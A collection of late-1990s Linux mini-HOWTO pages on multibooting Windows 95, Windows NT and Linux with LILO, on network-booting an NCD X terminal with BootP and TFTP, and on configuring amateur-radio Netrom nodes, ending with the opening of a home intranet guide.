3. References

I have found these links useful while setting up my system.

  • GNU GRUB
  • The Linux-DOS-Win95-OS2 mini-HOWTO


Multiboot with GRUB Mini-HOWTO: Feedback

 Next Previous Contents

4. Feedback

I would like to hear about your experience (good or bad) with this document. If you have some instructions for adding another OS please send them to me so that I can add them.


Win95 + WinNT + Linux multiboot using LILO mini-HOWTO

Renzo Zanelli, rzanelli@southeast.net

v1.0, 26 March 1998

This document describes how to use the to multiboot between Windows 95, Windows NT, and Linux.

1. Introduction

2. Installing the Operating Systems

  • 2.1 Installing Windows 95

3. The Linux part

4. The Windows NT part

5. The Windows 95 part

6. References


Win95 + WinNT + Linux multiboot using LILO mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

There are a number of documents available that describe in detail how to multiboot just about any number of OS's using NT's OS loader. When I finally bought Windows NT, I already had Windows 95 and Linux installed on my system and I was using LILO to multiboot between them. I decided to add Windows NT to LILO instead of using NT's OS loader.

Originally I had Windows 95 on my first IDE disk drive and Linux on my second IDE disk drive. The Linux drive became my third IDE drive and I installed a new IDE disk for Windows NT as my second drive. Even though I haven't tried this in different configurations, I believe the order with which each OS is installed or which drive it is installed on is unimportant.

Just remember to create those emergemcy bootup floppies when each OS prompts you to!

Because I used Gilles Vollant's BootPart utility and BootPart only supports drives up to 4GB in size, this may not work if you have drives of larger capacity. If you need to work with drives greater than 4GB, contact Gilles directly (see BootPart documentation for Gilles' e-mail address).


Win95 + WinNT + Linux multiboot using LILO mini-HOWTO: Installing the Operating Systems

 Next Previous Contents

2. Installing the Operating Systems

When you install the OSes, make sure that all are installed on bootable partitions. I installed both Windows 95 and Windows NT on Fat 16 partitions, so this procedure works on Fat 16 drives. If you decide to use Fat32 for Windows 95 and NTFS for Windows NT, check to see if your version of Linux supports them and, if so, to what extent.

2.1 Installing Windows 95

Install Windows 95 on your first drive. This will be your C: drive. Remember to create the Windows 95 boot floppies when prompted to do so.

I have found that it is better if the Linux drive is removed from the system when installing Windows 95, so that it is never detected and it doesn't exist as far as Windows 95 is concerned.

At this point, if you did everything correctly, you should be able to boot Windows 95.

Installing Windows NT 4.0

Install Windows NT 4.0 on your second drive. When you create the partition on this drive, make the partition bootable. Not all versions of Linux support NTFS, so I created a FAT16 partition, just to be on the safe side and because I wanted to exchange data between the Windows drives.

When Windows NT installs, it will detect the presence of Windows 95 and will create an entry for it in the NT OS loader and you should see three entries in the OS loader menu as follows:

Windows NT Workstation Version 4.00
Windows NT Workstation Version 4.00 [VGA mode]
Microsoft Windows

At this point, if you did everything correctly, you should be able to multiboot to Windows NT and Windows 95.

Installing Linux

Install Linux on your third drive. When I installed Linux, I only had Windows 95 installed so I only added the Windows 95 partition to Lilo. You can go ahead and install all OSes while installing LILO, or edit the Lilo configuration file later. However you decide to do it, I will show you how the /etc/lilo.conf file is supposed to look in the next section. Once Linux is installed, you should be able to boot to Linux.


Win95 + WinNT + Linux multiboot using LILO mini-HOWTO: The Linux part

 Next Previous Contents

3. The Linux part

This will involve editing the /etc/lilo.conf file and reinstalling LILO. The following should already be present in /etc/lilo.conf:

boot=/dev/hda

The Linux stanza should also be already present:

# Linux stanza
image=/vmlinuz
root=/dev/hdc1
label=Linux
# End Linux stanza

Now add the Windows 95 stanza:

# Windows 95 stanza
other=/dev/hda1
table=/dev/hda
label=Windows95
# End Windows 95 stanza

Now add the Windows NT stanza:

# Windows 95 stanza
other=/dev/hdb1
table=/dev/hda
loader=/boot/any_d.b
label=WindowsNT
# End Windows 95 stanza

Now run LILO again. At this point, if all is well, you should have Windows 95, Windows NT, and Linux as selections from LILO. You should be able to boot to Linux and Windows 95 (which should give you the Windows NT OS loader). To make the Windows NT entry operational, you still need to do some work on the Windows NT side.


Win95 + WinNT + Linux multiboot using LILO mini-HOWTO: The Windows NT part

 Next Previous Contents

4. The Windows NT part

Before you can continue, you need two do two things.

The first is to download and unzip Gilles Vollant's BootPart utility which can be found at http://www.winimage.com/bootpart.htm with some information on how to use it.

The second thing to do is copy (do not delete them yet!) the following files to the root of the Windows NT drive:

Boot.ini
Bootsect.dos
Ntdetect.com
Ntldr
These files are the Windows NT loader. They are located in the root of the Windows 95 drive and were placed there by Windows NT when you installed it.

Once this is done, boot to the Windows 95 DOS prompt (press Shift+F5 when Windows 95 loads) and issue the following command:

BOOTPART WINNT BOOT:D:
Now you must edit Boot.ini in your Windows NT root directory. You must edit three lines, one in the [boot loader] section and two in the [operating systems] section.

This is the original Boot.ini:

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(1)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(1)partition(1)\WINNT="Windows NT Workstation Version 4.00"
multi(0)disk(0)rdisk(1)partition(1)\WINNT="Windows NT Workstation Version 4.00 [VGA mode]" /basevideo /sos
C:\ = "Microsoft Windows"

This is the new Boot.ini:

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00"
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Windows NT Workstation Version 4.00 [VGA mode]" /basevideo /sos
Notice that all instances of rdisk(1) have been changed to rdisk(0) and the line referencing Windows 95 has been removed.

After saving Boot.ini, if you did everything correctly, you should now be able to boot to Windows NT from LILO.


Win95 + WinNT + Linux multiboot using LILO mini-HOWTO: The Windows 95 part

 Next Previous Contents

5. The Windows 95 part

Create a bootable DOS floppy from the Windows 95 DOS prompt (press Shift+F5 when Windows 95 loads). It is important that this floppy be created at the DOS prompt, not from a DOS window inside Windows95! Do not boot to Windows95 until this step is complete! Copy the file C:\WINDOWS95\COMMAND\SYS.COM to the floppy (substitute your Windows95 path if different). Now boot from the floppy and enter the command:

SYS C:
This should have removed the Windows NT OS loader and you should be able to boot directly into Windows 95 from LILO.

You can now remove the NT loader files:

Boot.ini
Bootsect.dos
Ntdetect.com
Ntldr


Win95 + WinNT + Linux multiboot using LILO mini-HOWTO: References

 Next Previous Contents

6. References

Thanks to the following people (in no particular order):

James C. Bevier & D. Michael McFarland. In a message exchange on the reddhat-list they provided some information on how to boot NT from Linux.

Gilles Vollant. BootPart is a very useful utility and Gilles makes it available for free with some nice documentation. Thanks Gilles.

Mike Harlan. By reading his 'Linux-DOS-Win95-OS2' mini-HOWTO, it helped me make some assumptions about LILO's behavior.


NCD X terminal mini HOWTO

Ian Hodge, ian at permedia.ca

v1.09, March 27, 2000

This document describes how to connect an NCD X terminal to a UNIX host

1. Copyright

2. Introduction

  • 2.1 Summary of steps

3. Requirements

  • 3.1 The X terminal
  • 3.2 Physical Connection
  • 3.3 NCD X server software

4. Configuring the UNIX Host

  • 4.1 TFTP and BootP

5. Configuring the NCD X terminal Boot Process

  • 5.1 Boot Monitor command syntax
  • 5.2 Boot Monitor Setup Menu
  • 5.3 X Terminal Configuration Files
  • 5.4 Logging on to the host

6. Fonts and the X terminal

  • 6.1 The font server

7. Miscellaneous

  • 7.1 Supported Terminals
  • 7.2 Reference
  • 7.3 Equipment used in the preparation of this document
  • 7.4 Acknowledgments
  • 7.5 Outstanding Issues
  • 7.6 Feedback


NCD X terminal mini HOWTO: Copyright

 Next Previous Contents

1. Copyright

The NCD X terminal mini HOWTO is copyright(c) 1998 by Ian Hodge. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies.


NCD X terminal mini HOWTO: Introduction

 Next Previous Contents

2. Introduction

This document describes how an X terminal manufactured by NCD (Network Computing Devices) can be connected to and booted from a UNIX host using BootP (boot protocol). Many terminals are also capable of booting with RARP, NFS or locally from a PCMCIA card or over a serial link (either directly or with a modem).

Although the material in this document was prepared based on experience with a single model of X terminal, much of the information applies to other models and other X terminals generally. There is also an Linux X terminal mini HOWTO document (declared obsolete by HOWTO maintainers at the time of writing and therefore possibly not available in all Linux distributions) which overlaps material from this document. That document covers X terminal information more generally.

2.1 Summary of steps

The process of connecting an X terminal to a UNIX network can be summarized in the following steps:

  • Physically connect the X terminal to the network.
  • Configure the UNIX host you are going to boot from.
  • Configure the X terminal boot procedure.
  • Boot the X terminal.
  • Log in to the network.


NCD X terminal mini HOWTO: Requirements

 Next Previous Contents

3. Requirements

3.1 The X terminal

An X terminal is a device which communicates and displays over a network using a distributed network window system known as X. Typically, the terminal's X software, known as the X server, is retrieved from the network at boot time. Programs other then the X server software (X client programs) are not run locally on the X terminal (with some exceptions); instead, the X terminal displays programs running on other hosts on the network. The X terminal, therefore, is a type of network computer which uses the X protocol to access network resources.

3.2 Physical Connection

The NCD X terminal (model Xncd19r was used in preparation of this document) has an RJ-45 (twisted pair) connector for use with 10baseT Ethernet. A hub is required to link more than two Ethernet devices using twisted pair. If the X terminal and its host are the only devices in the network, they may be connected with a 'null' cable which is described in the Linux Ethernet HOWTO document.

3.3 NCD X server software

The terminal's X server software file is available from the manufacturer and presumably is provided with the terminal upon initial purchase. This file will reside on the boot host where it can be accessed by the X terminal when it boots. This file is specific to the terminal type but independent of boot host. The terminal can boot from any host which supports the boot communication protocol (explained later). In addition to X server, the X software may also include applications, like a window manager, which can run locally on the X terminal itself.


NCD X terminal mini HOWTO: Configuring the UNIX Host

 Next Previous Contents

4. Configuring the UNIX Host

At boot time, the X terminal retrieves files (including its X server software) from a remote host on the network. After the terminal boots, the X server software will control input, display, local clients and X protocol communication. The X server software is executed on the X terminal and therefore does not have to be software compatible with the host on which it resides.

4.1 TFTP and BootP

Together, tftp (trivial file transfer protocol) and BootP (boot protocol server) are used on the remote host to allow the X terminal to retrieve its X server software and configuration files over the network. Both services are typically started by inetd (Internet Daemon).

After the X terminal is powered up, if it is configured to boot from the network, it will send out a broadcast message using BootP (TCP/IP bootstrap protocol). This boot message will contain the X terminal's hardware (Ethernet) address which is used by the boot host to respond to the boot request.

When a boot request is received by the remote host, inetd (listening on a port designated in /etc/services) starts the BootP daemon specified in /etc/inetd.conf.

In file inetd.conf, create or uncomment lines that refer to TFTP and BootP. The final argument of the tftpd entry in the example below is the path of the directory containing the files required by the X terminal. Although directory names are not mandatory, for security reasons they should always be present as tftp access will then be restricted to files in specified directories.

From a sample file /etc/inetd.conf:

# tftp service is provided primarily for booting.  Most sites
# run this only on machines acting as "boot servers".
tftp   dgram udp wait root /usr/sbin/tcpd /usr/sbin/in.tftpd /usr/X11/lib/X11/ncd/
bootps dgram udp wait root /usr/sbin/tcpd /usr/sbin/in.bootpd

Upon activation, the BootP server daemon on the host will then read its database file /etc/bootptab. An entry for the X terminal must be placed in this file. Each entry contains a set of tags separated with ':' characters. The host name must be the very first tag in an entry.

Useful bootptab tags:

hd

Bootfile home directory (eg /usr/X11/lib/X11/ncd/).

ip

Address of the X terminal (eg 10.0.0.1).

sm

Subnet mask (eg 255.0.0.0). To understand the use of the subnet mask and other IP networking principles, consult the Linux NET-3 (networking) HOWTO document.

gw

IP Address of gateway (eg 10.0.0.1).

ht

Hardware type - Ethernet in this example.

ha

Hardware address of X terminal (6 byte Ethernet address)

According to the bootptab UNIX man page, the 'ha' tag must be preceded by the 'ht' tag. The X terminal's Ethernet address is displayed when the terminal is first powered on. The address appears as a series of 6 double digit hex numbers separated by colons (e.g. 00:00:A7:12:26:19).

tc

Table continuation or label of another entry in the BootP database. See the example below.

ds

IP address of domain name server (eg 10.0.0.3). Not required if DNS is not used for hostname resolution.

bf

Name of X terminal boot file (Usually the terminal model is used as the X server file name eg Xncd19r).

The following is an example of the Boot protocol server database file, /etc/bootptab. The character '\' is used to escape the end-of-line character.

# This is an entry (here given the name default)
# with information common to all BootP clients
default:hd=/usr/X11/lib/X11/ncd/:\
        ds=10.0.0.3:\
        sm=255.0.0.0:\
        gw=10.0.0.1:

# X terminal entry with hostname myxterm
# Notice the tc tag reference to the entry default
myxterm:ht=ethernet:\
        ha=0x0000a7122619:\
        ip=10.0.0.2:\
        tc=default:\
        bf=Xncd19r:

When a matching entry for the hardware address in the boot request is found in the bootptab file, a response is sent by bootpd with the corresponding IP address from the matching entry. File transfer can then take place over IP using TFTP.

A hostname can be assigned to the X terminal by creating an entry on the boot host in the file /etc/hosts. This file is used to map hostnames to IP addresses. In the this example, the X terminal (address 10.0.0.2) has been assigned the hostname 'myxterm'.

10.0.0.1        linuxhost       # The boot host
10.0.0.2        myxterm         # X terminal


NCD X terminal mini HOWTO: Configuring the NCD X terminal Boot Process

 Next Previous Contents

5. Configuring the NCD X terminal Boot Process

After being powered up, the X terminal attempts to boot. This is the process where the X software is loaded into memory and executed. If the X terminal cannot boot, the Boot Monitor prompt '>' will appear. The Boot Monitor is firmware found in terminal PROMs (programmable read-only memory). With the basic Boot Monitor interface, it is possible to configure the terminal to boot and retrieve its X server software from the host. Use '?' for a list of Boot Monitor commands.

Configuration parameters set with the boot monitor are stored in NVRAM (Non-volatile Random-Access Memory) and are retained when the terminal is powered down.

From the boot monitor, the 'bt' command or a menu system can be used to boot the terminal. Functionality of the two methods largely overlaps but the menu provides control over more boot parameters.

5.1 Boot Monitor command syntax

>bt file terminal_IP host_IP gateway_IP subnet_mask

file

The name of the file retrieved from the remote host containing the X server software used by the X terminal to boot (eg "Xncd19r"). Check that this file name is the same as the file name is found in the X terminal entry in the bootptab file on the host (explained in the previous section).

terminal_IP

The IP address assigned to the X terminal (eg 10.0.0.2). Again, this IP address should be the same as the address assigned in the X terminal entry of the bootptab file on the host.

host_IP

The IP address of the boot host (eg 10.0.0.1).

gateway

The IP address of the subnet gateway (eg 10.0.0.1)

subnet_mask

The subnet mask, specified as a decimal IP address or as a hexadecimal number (eg 255.0.0.0 or ff000000).

5.2 Boot Monitor Setup Menu

The setup menus are accessed by pressing the 'Setup' key or typing 'se' from the boot monitor '>' prompt.

Get IP Addresses From

The IP address of the X terminal should be obtained from boot monitor configuration stored in NVRAM. Only select 'Network' if you are using RARP (reverse ARP) to retrieve the X terminal's IP address from the remote host.

Terminal IP Address

The IP address assigned to the X terminal (eg 10.0.0.2). This is the same as 'terminal_IP' parameter above.

First Boot Host IP Address

The IP address of the boot host (eg 10.0.0.1). This is the same as 'host_IP' parameter above.

Gateway IP Address

The IP address of the subnet gateway. This is the same as 'gateway' parameter above.

Subnet Mask

The subnet mask, specified as a decimal IP address. This is the same as the 'subnet_mask' parameter above.

Broadcast IP Address

The IP address used to broadcast to the subnet. (eg 10.255.255.255)

Boot File

The name of the file retrieved from the remote host containing the X server software used by the X terminal to boot (eg "Xncd19r"). This is the same as 'file' parameter described above.

TFTP Boot Directory

The name of the directory on the host which contains the boot file (eg "/usr/X11/lib/X11/ncd/" or "/tftpboot/").

Config file

The name of the X terminal configuration file on the remote host (See below).

UNIX Config Directory

Name of the directory containing X terminal configuration files (eg "/usr/X11/lib/X11/ncd/").

TFTP Order, NFS Order, Local Order

Assign '1' to the preferred method for booting. Assign '1' to TFTP when booting from a host using BootP.

5.3 X Terminal Configuration Files

During the boot process, the X terminal will attempt to transfer and load files from the boot host. These files are not required for the X terminal to boot successfully. If a file is not found, the terminal will use default settings.

Configuration Files transferred to the X terminal at boot time:

  • X terminal configuration file (eg ncd.conf) used to retain terminal settings.
  • Color file (eg rgb.txt).
  • X key symbol database (eg XKeysymDB).
  • Font directory files (eg font.dir, font.alias).

After a successful boot, the X terminal console window with a menu bar should appear. The terminal setup key toggles display of this console window. From the console window 'setup' pull-down menu, terminal characteristics can be viewed, altered and saved on the boot host in the configuration file which can be used in future sessions.

If TFTP is being used to transfer files from the boot host, then file permission must be world readable. Similarly, to save a configuration file to the boot host, the file must already exist and with world write permission enabled. If secure TFTP is used (this is recommended for security reasons), then file access is possible only through specified directories.

Note: The terminal may fail to boot if it was previously configured to work with other hosts or with different configuration parameters. Resetting the NVRAM to remove stored settings may solve the problem.

To reset NVRAM, from the boot monitor, type the 'nv' command. From this sub-menu, select 'l' to load defaults, 's' to save and finally 'q' to quit. Resume the boot procedure described above.

5.4 Logging on to the host

From the X terminal console window menu bar, select the 'terminals' pull-down menu and choose 'New Telnet...'. When the telnet window appears, insert the address of a network host in the service entry and click 'OK'. The host log in prompt should appear. After logging in, X programs, including a window manager, can be started from the telnet window.


NCD X terminal mini HOWTO: Fonts and the X terminal

 Next Previous Contents

6. Fonts and the X terminal

The X terminal comes with a small set of fonts. In the X terminal setup menus and configuration files, these fonts are referred to as 'built-ins'. The terminal can be operated with these fonts alone but more fonts are desirable. Fonts can be added by specifying font paths in X terminal console setup menus, configuration files or by using the xset command.

Once the X server software is running on the X terminal, the font path can modified or queried with the command xset.

To query the X server:

xset -q
To add a font entry:
xset +fp <path>
To remove a font entry:
xset -fp <path>

6.1 The font server

The font server (xfs) runs on a network host and retrieves fonts for the X terminal and other network clients. Use of the font server allows the use of a wide variety of fonts as the X server software is otherwise restricted to bitmap fonts. During retrieval, the font server can uncompress, scale and convert fonts for the X server and can help simplify the management of fonts for groups of terminals and network clients. Font server software is part of many Linux distributions and has been incorporated into X consortium software available from ftp.x.org.

To indicate the use of a font server, a tcp service entry is used instead of a font path in the X terminal's host resident configuration file or console setup menu.

Format of tcp service entry:

tcp/<IP address of font server>:<port used by font server>

Example:

tcp/10.0.0.1:7100

An example of an entry in the X terminal configuration file found on the boot host:

xserver-default-font-path = {
        { "tcp/10.0.0.1:7100" }
        { "built-ins" }
}

The xset command with the tcp service entry can used to add the font server to the path:

xset +fp tcp/10.0.0.1:7100

WARNING: Certain versions of NCDware require the font server entry to be listed first before X terminal 'built-in' fonts. This is contrary to the NCD documentation "System Administrator's Guide for UNIX Systems". Experiment with the order of the font path and verify it with the 'xset q' command.

On the font server host, the server is started at boot time from the rc.local startup script. The font server (xfs) is started with the following command:

xfs -config <config file path> -port <font server port number>

The standard font server port is 7100.

Example:

xfs -config /usr/X11/lib/X11/fs/config -port 7100

Example font server configuration file:

   # font server configuration file

   # allow a max of 10 clients to connect to this font server
   client-limit = 10

   # when a font server reaches its client limit, start up a new one
   clone-self = on

   # use the UNIX syslog utility to log errors.
   use-syslog = on

   # list of font directories
   catalogue = /usr/X11R6/lib/X11/fonts/misc/,
      /usr/X11R6/lib/X11/fonts/Speedo/,
      /usr/X11R6/lib/X11/fonts/Type1/,
      /usr/X11R6/lib/X11/fonts/75dpi/,
      /usr/X11R6/lib/X11/fonts/100dpi/

   # file used to log errors if syslog is not used.
   error-file = /usr/X11R6/lib/X11/fs/fs-errors

   # 12 point in decipoints
   default-point-size = 120

   # 100 x 100 and 75 x 75
   default-resolutions = 75,75,100,100


NCD X terminal mini HOWTO: Miscellaneous

 Next Previous Contents

7. Miscellaneous

7.1 Supported Terminals

I have been told that this procedures in this document work (more or less) with the following terminals: NCD 19r, NCD 19c, NCD19m?, NCD 15b, NCD MCX

7.2 Reference

Unix man pages: bootpd(8), tftpd(8), bootptab(5), xdm(1x), xfs(1), fsinfo(1), xset(1), inetd(8)

Linux Ethernet HOWTO document, Linux Net-3 (Networking) HOWTO document

NCDware System Administrator's Guide for UNIX Systems (print version)

NCD Techtips Archive

Now available for download in the NCD Techtips Archive is the NCDware Reference Manual which covers almost every X terminal configuration issue in detail.

The searchable NCD knowledge base addresses some frequently asked questions as well as bug reports.

Note that the above links are subject to change. Since the first version of this mini-HOWTO was published, the NCD web site has been extensively reorganized.

7.3 Equipment used in the preparation of this document

X terminal: NCD model NCD19r with 19 monochrome monitor 1280x1024 8M RAM

X server software: NCDware V3.2.CV 19r_s

Remote Host: IBM Cyrix 686 P150+ running Slackware (Linux kernel version 2.0.31)

Remote Host: IBM Cyrix M2 200 MMX running Red Hat 5.0 (Linux kernel version 2.0.32)

Network Card: 10 base T Ethernet card (ne 2000 clone) and 8 port hub

Font server version 2 release number 6300

7.4 Acknowledgments

I would like to thank Michael de Lind van Wijngaarden, Jamal Hadi-Salim and Dwight Hodge for assistance in the preparation of this document.

7.5 Outstanding Issues

  • Is it possible or wise to start the font server using inetd?
  • If the remote host running the font server is powered down but later comes up again, with the font server active, the X terminal may fail to retrieve its fonts. The font path entry has to be re-entered with the console menu or xset. Why?
  • Are the procedures for other models of X terminals roughly similar?
  • What is the procedure to boot the X terminal using NFS (Network File System) or RARP (Reverse Address Resolution Protocol)?
  • The following messages appear in the X terminal Console. I am suspicious that they come from xfree86 extensions to X which are not part of the X terminal server. Can someone confirm or deny this?
    %XSERVER-I-NEWCLIENT, host "localhost" connected with blank authorization
%XSERVER-W-NOEXTENSION, client attempted to use non-existent extension "BIG-REQUESTS"
%XSERVER-W-NOEXTENSION, client attempted to use non-existent extension "XKEYBOARD"
%XSERVER-W-NOEXTENSION, client attempted to use non-existent extension "XFree86-Misc"
  • Could Linux be ported to an X terminal? This is almost a joke question but Linux is already on some unlikely platforms.

7.6 Feedback

Please write to ian at permedia.ca with any comments, questions, corrections, suggestions or contributions. Many thanks to all who have written with feedback and additional information.


Netrom-Node mini-Howto

Karl Larsen, k5di@yahoo.com

v1.10, 19 October 1998

This document describes how to setup the ax25-utilities package for Amateur Radio such that it makes Netrom Nodes for the Node program and the BBS software from John-Paul Roubelat, F6FBB. The DOS G8BPQ Switch makes a bbs node and many features, it was expected that the Linux ax25-utils would have a similar capability. This was not the case. Help came from John Ackerman, N8UR who put a message on the Linux-Ham SIG that he had done the BBS node and the info was on his web site! When the information was tried it didn't work properly but much was learned about the technique. Help from Tomi Manninen, OH2BNS did the trick. Nodes for the BBS and the Node and the DX Cluster were made and work fine.

1. Introduction

2. How to Begin

3. Some Details of the AX.25 Utilities

4. Setting Up Netrom

5. Setting Up FBB and DXNet:


Netrom-Node mini-Howto: Introduction

 Next Previous Contents

1. Introduction

It is possible, using just the ax25-util's to generate node listings for the Node application and the FBB BBS and the DXNet DX Cluster. This is done by changing the configuration files for Netrom and making a Netrom entry for each application. At present there is a kernel imposed limit of 4 Netrom entries. The new kernels are expected to drop this limit.

Now users look for CRUCES:K5DI-4 and LCBBS:K5DI-3 and LCDX:K5DI-5 on the many nodes here in New Mexico, Texas and Arizona and are connected like magic. They no longer need to remember anything.


Netrom-Node mini-Howto: How to Begin

 Next Previous Contents

2. How to Begin

Obtain and read the AX25-HOWTO:

ftp:/sunsite.unc.edu/pub/Linux/docs/HOWTO/AX25-HOWTO/

Using the AX25-HOWTO set up the normal Amateur Radio ax.25 and Netrom system and make certain it is operating properly. When the software "CALL" can be used to make either a ax25 or Netrom connection to a distant node, the system is ready to change to one using node listings like the BPQ Switch.


Netrom-Node mini-Howto: Some Details of the AX.25 Utilities

 Next Previous Contents

3. Some Details of the AX.25 Utilities

Below is a list of all the applications and files that are needed to set up a working ax.25 system. The Applications are all in the /usr/sbin/ directory and the Configuration files are in the /etc/ax25/ directory. Note: Kissattach is used only if you have TNC's in the Kiss Mode.

  • kissattach Application
  • call Application
  • ax25d Application
  • ax25d.conf Configuration file
  • axspawn Application
  • axspawn.conf Configuration file
  • axports Configuration file

There are several names that a ax25-util user must invent. Since this paper uses the files of k5di, a listing of those names can be made.

Name            Call-sign       Alias           Other

ax0             k5di-9                          ax25 9600 baud
ax1             k5di-10                         ax25 1200 baud
Netrom          k5di-1          #CRUCE          Real Netrom
netnod          k5di-4          CRUCES          Node node-list
netbbs          k5di-3          LCBBS           BBS  node-list
netdx           k5di-5          LCDX            DX-Cluster
It's a good idea to make a list like this on paper before you start to change things. It is easy to put the wrong name in a control file.

Kissattach is an application that connects the kernel to the TNC, sets the tcp/ip address up, sets the speed of the connection, and is given the serial port to use.

Axports is a file that defines the name of the ax.25 ports and tells kissattach what call-sign, baud-rate and window size to use. Below is an example of a 2 TNC system.

# /etc/ax25/axports
# Be very careful with the speed setting. This is the speed in
# bits/second that data passes from the computer to the TNC, and has
# nothing to do with the radio baud rate!
#
# The format of this file is:
#
# name call-sign speed paclen window description
#
ax0     K5DI-9          9600    255     3       445.1 (9600 bps)
ax1     K5DI-10         9600    255     1       145.07 (1200 bps)

AX25D is the application that reads the ax25d.conf Configuration file and answers calls made to the system. Below is a sample ax25d.conf that has no Netrom defined. In fact all it will do is answer calls to k5di-9 and k5di-10. When it answers it starts the node application and logs the caller in.

# /etc/ax25/ax25d.conf
#
#  AX25D Configuration File.
#
# AX.25 ports begin with a '['.
#
[k5di-4 VIA ax0]
default  * *    *   *   *    0 - root   /usr/sbin/node  node
[k5di-4 VIA ax1]
default  * *    *   *   *     0 - root  /usr/sbin/node  node
#
The next step is to get ax25d to answer a call to the alias CRUCES as well as the call-sign. This is easy to do and is shown below:

# /etc/ax25/ax25d.conf
#
#  AX25D Configuration File.
#
# AX.25 ports begin with a '['.
#
[CRUCES VIA ax0]
default  * *    *   *   *    0 - root   /usr/sbin/node  node
[k5di-4 VIA ax0]
default  * *    *   *   *    0 - root   /usr/sbin/node  node
[CRUCES VIA ax1]
default  * *    *   *   *    0 - root   /usr/sbin/node  node
[k5di-4 VIA ax1]
default  * *    *   *   *     0 - root  /usr/sbin/node  node
#

If you have trouble, as root kill ax25d if it is running and then at the prompt type ax25d &. As ax25d loads the ax25d.conf file it will print out any errors it finds. This print out is very accurate and tells you which row in the file is wrong.

A connect from any adjacent node to k5di-4 or CRUCES will connect to the k5di node. But Netrom is not transmitting a node listing for CRUCES or k5di-4. This is done by changing some Netrom Configuration files.


Netrom-Node mini-Howto: Setting Up Netrom

 Next Previous Contents

4. Setting Up Netrom

Netrom has applications and files that control it's function and to achieve the G8BPQ look and function we must use these in ways never intended. Below is a list of these components of Netrom:

  • nrattach Application
  • netromd Application
  • nrports Configuration File
  • nrbroadcast Configuration File
Nrattach is the application that works with the kernel and establishes the ports and tcp-ip used by Netrom. To use nrattach you place it in your startup file and the example looks like this:

/usr/sbin/nrattach -i 44.30.2.5 netrom
/usr/sbin/nrattach -i 44.30.2.5 netnod

Nrattach gets some of it's information from a configuration file called nrports. This file is shown below:

# /etc/ax25/nrports
#
# The format of this file is:
#
# name call-sign alias paclen description
#
netrom          K5DI-1  #CRUCE   235    Switch
netnod          K5DI-4  CRUCES   235    Real Node

There is no change to the nrbroadcast file so the remaining changes will be made to the ax25d.conf file. In this file you normally put the real netrom application called k5di-1, but since a call to k5di-1 or #CRUCE gets undesirable results, leave that entry out of ax25d.conf and a user will get just a "busy" when calling.

Instead put in the netnod and that will allow ax25d to answer a call to CRUCES. This is shown in the example below:

# /etc/ax25/ax25d.conf
#
#  AX25D Configuration File.
#
# AX.25 ports begin with a '['.
#
[CRUCES VIA ax0]
default  * *    *   *   *    0 - root   /usr/sbin/node  node
[k5di-4 VIA ax0]
default  * *    *   *   *    0 - root   /usr/sbin/node  node
[CRUCES VIA ax1]
default  * *    *   *   *    0 - root   /usr/sbin/node  node
[k5di-4 VIA ax1]
default  * *    *   *   *     0 - root  /usr/sbin/node  node
#
# NET/ROM ports begin with a '<'.
#
<netnod>
default         * *     *   *   *   * -  root   /usr/sbin/node node
#

With these changes netrom node broadcasts will include the node K5DI-4:CRUCES and K5DI-1:#CRUCE. By testing it was determined that a call from any node to k5di-1 or #CRUCE got a busy, and a call to k5di-4 or CRUCES connected to the node on this system.


Netrom-Node mini-Howto: Setting Up FBB and DXNet:

 Next Previous Contents

5. Setting Up FBB and DXNet:

The FBB packet BBS and DXNet Linux software are written to answer calls to a call-sign defined in the configuration files. In these examples the FBB call-sign is k5di-3 and the DXNet is k5di-5.

Since calls to k5di-3 and k5di-5 are answered by other software, ax25d is not used and these calls should NEVER be found in a ax25d.conf file. But the nrports file needs to have the information added and 2 more nrattach lines are added to the start file. The nrattach lines (4 each) and the file "nrports" are shown below:

/usr/sbin/nrattach -i 44.30.2.5 netrom
/usr/sbin/nrattach -i 44.30.2.5 netbbs
/usr/sbin/nrattach -i 44.30.2.5 netnod
/usr/sbin/nrattach -i 44.30.2.5 netdx

# /etc/ax25/nrports
#
# The format of this file is:
#
# name call-sign alias paclen description
#
netrom          K5DI-1  #CRUCE   235    Switch
netnod          K5DI-4  CRUCES   235    Real Node
netbbs          K5DI-3  LCBBS    235    FBB BBS
netdx           K5DI-5  LCDX     235    DXNet DX Cluster

These changes will make the node listings wanted but a call to LCBBS will not work yet. Recall that FBB answers a call to k5di-3 but not the alias. To achieve this a change to the /usr/local/fbb/system/port.sys file is required. Before these changes port.sys had a listing for the name "netrom". With these changes replace "netrom" with "netbbs". That section of port.sys is shown below:

#TNC NbCh Com MultCh Pacln Maxfr NbFwd MxBloc M/P-Fwd Mode  Freq
 0   0    0   0      0     0     0     0      00/01   ----  File-fwd.
 1   8    1   ax0    250   4     1     10     30/60   XUWY  UHF port
 2   2    1   ax1    250   4     1     10     00/60   XUWY  VHF port
 3   6    1 netbbs   250   4     4     10     30/60   XUWY  BPQ look
 4   8    2   0      250   5     4     1000    5/15   TUWY  Telnet
#

A similar change is made to the "dxnet.cfg" file where netrom is replaced with netdx. When these changes are made and a few hours have passed to let Netrom send node lists, any nearby node will have nodes listed to your Netrom for CRUCES and LCBBS and LCDX, and they will all work just as they do when using the G8BPQ Switch under DOS.


HOW-TO for inHouse IntraNet

Author: Sarma Seetamraju
EMail: (sarma@usa.net)
Date: August 1997

Place: on the Amtrack and Path Trains on the way to Downtown Manhattan.
Notepad Used: a 16-Mhz 386 SX circa 1991 Magnavox notebook running linux.
(Just to show that if you ever complain about linux not running AS IS
on your computer, I am going to shove that computer up your .... )

Reformatted as HTML for: All abnormal people who cannot stand illegible plain text.

Important: SOCKS is a FREE package for UNIX systems. I doubt its available for OTHER platforms. If you wish to influence NETSCAPE to keep supporting SOCKS, email me with your supporting statement (saying how you are using SOCKS).

This document describes the procedure to set up a NETWORK (INTRANET) at your home. Then we shall setup up the network such that NETSCAPE Clients can be used on ANY machine to access the internet...

The network we are talking about,

  • has TWO or more computers...
  • wherein, there is ONE (ONLY ONE) linux machine
  • and the rest are Win95 or WinNT machines. (I doubt things will be any different for a MACintosh).
  • Only the LINUX machine has PPP access to the internet. The other machines MAY have modems. I shall ignore those modems.
